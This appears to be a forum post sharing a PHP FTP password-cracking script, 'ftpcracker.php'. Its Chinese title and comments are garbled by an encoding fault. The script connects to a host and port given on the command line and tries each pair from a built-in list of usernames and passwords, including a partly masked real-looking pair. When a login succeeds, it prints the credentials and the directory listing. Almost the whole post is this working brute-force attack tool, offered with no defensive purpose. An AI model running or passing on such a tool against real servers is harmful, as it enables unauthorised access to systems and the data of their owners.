ftpÃÜÂëÆÆ½â½Å±¾
5101 µã»÷¡¤1 »ØÌû
![]() | ![]() | |
![]() | <?php /** * ftpcracker.php * * @author qingshen <http://hi.baidu.com/qingshen1990 > */ /** * ÏÂÃæÊÇÃÜÂë×ֵ䣬ÆäÖмüÃûÊÇÓû§Ãû£¬¼üÖµÊÇÃÜÂë */ $wordlist = array( ""=>"", "admin"=>"admin", "qingshen"=>"qingshen", "123"=>"123", "*plj*****"=>"5*********5560f" ); /** * FTPÀà */ class FTP{ /** * ÉèÖÃ񻮮½âµÄÖ÷»úipµØÖ· */ var $host; /** * ÉèÖö˿ںŠ*/ var $port; /** * ÓÃÀ´±£´æ·µ»ØµÄ¾ä±úºÅ */ var $ftp; /** * ÉèÖÃÖ÷»úipµØÖ· */ function sethost($host){ $this->host = $host; } /** * ÉèÖÃÖ÷»ú¶Ë¿ÚºÅ */ function setport($port = 21){ $this->port = $port; } /** * ºÍÖ÷»ú½øÐÐÁ¬½Ó */ function connect(){ $this->ftp = ftp_connect($this->host,$this->port,5); if(!$this->ftp) die("connect to $this->host failed!\n"); } /** * ³ÌÐòµÄºËÐIJ¿·Ö£¬½øÐÐÆÆ½â³É¹¦Ê±Êä³öÓû§ÃûºÍÃÜÂë */ function crackftp(){ $wordlist1 = $GLOBALS[wordlist]; for($i = 0;$i<count($wordlist1);$i++){ $userpass = each($wordlist1); $is_log = ftp_login($this->ftp,$userpass[key],$userpass[value]); if($is_log){ echo "loged in!\n"; echo "user is $userpass[key],pass is $userpass[value]\n"; $dir = ftp_pwd($this->ftp); $arr = ftp_rawlist($this->ftp,$dir); echo "The current directory is:\n"; print_r($arr); die("find user and pass"); } } echo "crack failed\n"; } } $ftpcrack = new FTP; /** * ÅжϲÎÊý¸öÊýÊÇ·ñÂú×ãÒª,ÌáÈ¡²ÎÊý£¬²¢½«Æä±£´æÆðÀ´ */ switch($argc){ case 1: die("Missing argument\n");break; case 2:{ $ftpcrack->sethost($argv[1]); $ftpcrack->sethost($argv[1]); break; } case 3:{ $ftpcrack->sethost($argv[1]); $ftpcrack->setport($argv[2]); break; } default : die("More number of parameters"); } $ftpcrack->connect(); $ftpcrack->crackftp(); ?> ͼƬ£º20120918012959632.jpg ![]() | |
![]() | ![]() |